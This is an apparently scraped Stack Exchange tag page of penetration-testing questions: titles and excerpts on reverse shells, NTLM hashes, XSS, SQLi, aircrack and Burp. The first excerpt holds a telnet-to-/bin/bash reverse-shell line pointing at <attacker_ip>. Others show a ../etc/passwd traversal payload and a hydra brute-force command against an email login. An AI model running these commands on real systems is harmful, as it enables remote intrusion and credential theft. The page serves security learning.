Tagged Questions

An attempt to penetrate a system's security in an effort to evaluate the protections in place.

learn more… | top users | synonyms (2)

2
votes
1answer
50 views

Reverse shell back door

Why does this example of reverse shell backdoor require two listeners? The Listener is using nc command(nc -l ). telnet <attacker_ip> <port_a> | /bin/bash | telnet <attacker_ip> ...
2
votes
0answers
37 views

Are there any ways to leverage NTLM V2 hashes during a penetration test?

I am on a penetration test at the moment, where LM/NTMLv1 hashes are disabled. I have captured a number of NTLMv2 hashes via NBNS spoofing, however was unable to crack them after running them through ...
3
votes
1answer
72 views

SSD Self Encrypting Drives - Setup / warm boot bypass

I've seen folks deploying the SED on laptops recently. I've discovered that there is a setting in which you can do a warm boot and NOT require the bootup password to be put in again. Which makes ...
0
votes
1answer
39 views

What could happen if regex metacharacters using named capturing group are not encoded?

Let's say that a web application take a specific input from the user (e.g., search form), apply a Java regex with named caputring groups on it and use the final output to do other stuff (e.g., look ...
0
votes
0answers
22 views

Aireplay closes after a couple of minutes [closed]

I'm running aireplay along with airodump on fern wifi cracker 1.8, on kali linux, virtualbox, with an awus036h. After selecting ARP request replay or any injection and starting the attack both ...
-2
votes
0answers
35 views

Hydra Too many connection to target? [closed]

This is what i get when i type in cygwin... $ hydra -l rivaljet@gmail.com -p (not saying it) -s 465 say ip Hydra v8.0 (c) 2014 by van Hauser/THC & David Maciejak - Please do not use in military ...
0
votes
0answers
22 views

XSSER get and post

I am using xsser for XSS vulnerability testing and I have a doubt about the parameters when it's a POST method. I have tried against DVWA (which uses get) with success like this: xsser -u ...
2
votes
3answers
68 views

Stored Cross-Site Scripting Without Parentheses or Spaces

I'm testing a commenting application that takes a link of the form http://google.com and puts it in an href tag as so: <a rel="nofollow" href="http://google.com"> The resulting comment is ...
-4
votes
2answers
73 views

Android Penetration Testing

I need to do pen test for android mobile application. I have an android mobile and laptop connected to same wi-fi network. I need to intercept/capture the requests/traffic of the mobile in the laptop ...
-8
votes
1answer
88 views

I need help on how to hack into a scammer computer via IP/DNS [closed]

I really need your help in this one. Today I got scammed by a "trader" for 100$, but I managed to get his IP, reverse DNS and Hostname but I am unskilled in hacking. I need help here, I just want to ...
0
votes
0answers
47 views

Pros/Cons of internal pentest department vs external pentesters

What are the advantages and disadvantages of having an internal pentest department in a large company compared to external service providers?
0
votes
1answer
20 views

Java org.xmlpull.v1.XmlPullParser and XML External Entity (XXE) Processing Attacks

I'm evaluating the security of an Android application and the application is using the XmlPullParser included with Android. I'm having some difficulty getting any common attacks to work, but I want ...
0
votes
1answer
52 views

How to get the information from the iframe displayed (ClickJack) to the user back to the attacker?

Just for knowledge I want to know how to get the information from the i-frame displayed to the user back to the attacker? Scenario : Suppose You are an attacker and you want to grab the private ...
0
votes
1answer
38 views

How to test for zone transfer? [duplicate]

I heard that it is possible to test for zone transfer attacks on a web application using host and dig commands in Linux. How it is done?
1
vote
2answers
69 views

Burp configuration to allow SSL connection

I'm trying to capture Request/Responses using Burp on Mozilla. I've configured Burp Proxy on 8080 and have set same proxy settings on Firefox however when trying the Gmail link, Firefox gives "This ...
3
votes
1answer
2k views

Is server exploitable by Shellshock with cgi-enabled only?

A server with vulnerable bash, but cgi enabled only and there are no cgi scripts in cgi-bin. Is it still exploitable ?? If there are scripts in cgi-bin and only server-admin knows about filenames of ...
-2
votes
2answers
47 views

Finding Directory traversal vulnerability [closed]

I want to test a web application for Directory Traversal (DT) vulnerability. I have gone through a lot of google pages but can't find a clear description. I've tried using ../.././../../etc/passwd ...
1
vote
0answers
32 views

Is there a way I can exploit any web application if on input it's reflecting back a HTML enitity?

I'm trying to check for SQL Injection or Authentication ByPass-Forced Browsing vulnerability in one of my web application. On a jsp page there's an input field. I inserted double quotes in it and it's ...
0
votes
2answers
59 views

What is the difference between active reconnaissance and scanning/enumeration

I have just started studying for CEH exam v8 and I am trying to get the core of so called hacking phases. I could not totally understand the practical difference between the first two phases. In ...
-1
votes
2answers
87 views

XSS InJavaScript

Recently i was figuring out a web application and found that the url is reflected among the source of the page which make it bit obvious for xss but the input from url which is reflected on source is ...
0
votes
0answers
65 views

Pentesting an ATM OS upgraded from Windows XP to Windows 7

How to approach penetration testing of a ATM OS that was upgraded from Windows XP to Windows 7? From what I gather, the testing flow should be as follows: Architectural Review Pentesting OS and ...
1
vote
0answers
130 views

Aircrack-ng “successfuly” cracks a .cap file, but it outputs the wrong password

This is my first post and I hope this is in the right section. I've been toying with attempting to crack my wpa password with aircrack-ng and airodump. I've successfully grabbed the 4-way handshake ...
1
vote
1answer
115 views

how can we find the CSRF vulnerability in a website?

I heard that there are no specific tools available to test and find out the CSRF vulnerability of a website. So from a security testers point of view, how to test for the CSRF vulnerability?
-1
votes
1answer
46 views

What is cookie reverse engineering? [closed]

I want to know what is this cookie reverse engineering and how to do this is simple words. Thanks in advance.
0
votes
0answers
80 views

POST request in curl return all the source code of the page

I am trying to exploit the mutillidae web-application and I found a page vulnerable to sql injection but with a blacklist check embedded into the HTML code. I've tried to bypass this by forging a POST ...
1
vote
3answers
336 views

Login required before SQLmap

I have a multipart form data where I am suspecting one of the multipart form fields (parameter named htmlbevt_id), to be vulnerable to SQLi. To test for the same I captured the request using Burp and ...
5
votes
4answers
621 views

What is a good browser for web application pen testing? [closed]

I am getting started in testing web applications, and I am having trouble verifying vulnerabilities. It seems all modern browsers have protections against things like XSS. When something like Burp ...
0
votes
1answer
50 views

Virtual Penetration Test Lab - Figuring Out Its Market Size

Is there any reliable data available based on which the Global Market Size of Virtual Pen Testing Labs ( or Cyber Ranges ) can be ascertained ? If NOT , is it possible to calculate it ?
0
votes
2answers
82 views

Penetration testing preventive or detective control?

I have always wondered if penetration testing is a preventive or detective control. My view is that it is both preventive (preventive as it scans for vulnerabilities, which can be fixed to prevent ...
0
votes
1answer
72 views

Smart Token Security Test [closed]

I have a question. One of my colleague gave me a Smart Token which consists of public/private key inside and asked me if I can test its security. I said it should be tested in a equipped lab for ...
4
votes
1answer
103 views

How do I continue pentesting with access to local station?

I started learning hobbyist penetration testing a while ago, and as far as penetrating a computer I have physical access to, all is good. Mainly using Hiren bootCD, it is easy to gain access to an ...
3
votes
2answers
488 views

How to simulate man in the middle attack in android emulator?

I am new to pen-testing. Yesterday i analysed one android application using dex2jar application and i saw an android application implemented https connection using empty trust manager. class miTM ...
2
votes
3answers
1k views

Replacement for DVL (Damn Vulnerable Linux)?

I've recently spotted that DVL (Damn Vulnerable Linux) has gone inactive. My first question is what happened to cause them to stop releasing it? Secondly, I have found some references to other ...
-1
votes
2answers
87 views

Getting Started In Information Security field [duplicate]

I want to become a pen tester/ethical hacker,what should I do in the beginning? (I'm new to information security ,i have basic knowledge in python,will it be okay if I take CEH course,Any help is ...
1
vote
2answers
111 views

Does the EICAR test work on Linux based antivirus scanners?

Does the EICAR antivirus test work on antivirus scanners for Linux? The EICAR test is described in more detail here: http://en.wikipedia.org/wiki/EICAR_test_file The reason I ask is that it requests ...
0
votes
0answers
19 views

what is path for a software developer to gain some experience in Information Security [duplicate]

What is path for a software developer to gain some experience in Information Security or to switch a day job for being a full time web developer to Security analyst or Pen tester or Ethical hacker. ...
1
vote
1answer
102 views

Is the Java programming language used for penetration testing in practice ? If so, does the same apply to C#?

Is the Java programming language used for penetration testing in practice ? I've wondered whether Java is used or can be used for penetration testing in the field (people write pentesting suites ...
1
vote
0answers
242 views

Proxychains + nmap = segmentation fault

If I try the sV (service detection) flag in nmap run via proxychains (socks5 server) it appears to give me a segmentation fault message:- root@kali:~# proxychains nmap -n -sT -Pn X.X.X.X -p ...
2
votes
2answers
214 views

Penetration testing's terms of agreement template

My company is going to start to provide penetration testing services pretty soon, in fact, we are just missing the legal aspects of it. I'm wondering if is there any template which states the most ...
0
votes
2answers
90 views

Is Pentesting now all about running Tools? [duplicate]

is Pentesting now just about running tools like Nessus and creating a report based on it ? and not actually exploiting anything on your own based on the Agreement ?
3
votes
1answer
119 views

Tools to make a security researchers life easier - tracking vulnerability research [closed]

I've been a developer for quite some time, and as part of my on-going learning process I've learnt how to spot and remedy broken (and insecure) code written by others. Recently, I've found myself ...
0
votes
1answer
69 views

Pivoting without meterpreter [closed]

Is there any way other than Meterpreter to pivot into the network? If yes, then please guide. I already know about Meterpreter, just want to know manual methods other than this.
3
votes
1answer
83 views

How to intercept requests/responses from Smart Phone while surfing internet?

I have used Burp Suite Penetration testing tool in my computer to intercept requests.Assume that I am using Smart Phone. So Is it possible to intercept my smart phone requests into my computer?
0
votes
1answer
48 views

How do I report a vulnerability? [closed]

How would I report an international security vulnerability which could cause a lot of damage? I am asking how & where I would report this vulnerability, not now to create a simple vulnerability. ...
0
votes
1answer
366 views

OWASP Zap proxy Fuzz XSS pentest against REST API

I am looking to PEN test my application against XSS attacks. The application is a REST API... As such when you POST some JSON to /cart/add to see the result of that attack you would need to GET ...
2
votes
3answers
44 views

is there a way to indirectly uncharge rapidly a coin cell to defeat an anti tampering mechanism?

An anti tampering mechanism of a device relay on detect tampering mechanism when the device is powered down using the energy provided internally by a coin cell. Is there a way to uncharge rapidly a ...
2
votes
6answers
210 views

Hacking own computer [closed]

Ok I've worked with some penetration testing but it's all done in house where I work at on a secure network to secure servers and work stations before being deployed. But my question here is kind of ...
1
vote
1answer
136 views

How to perform penetration testing of Blackberry mobile applications?

I wish to start with blackberry mobile application penetration testing. I researched on net but no "in-depth" knowledge is available. Here is a good article but not much is covered. ...
0
votes
2answers
67 views

Content of a penetration testing authorization

Recently I conducted a penetration testing where I used the following text as authorization: Penetration testing authorization During a penetration testing is possible that: The ...
0
votes
2answers
305 views

Given an IP address can you ssh into /tmp without password?

I'm a Software Engineer, but I have no experience in security, so i'm trying to learn by doing (woot Experiential learning!). I know that the permission settings on the tmp folder are very relaxed. ...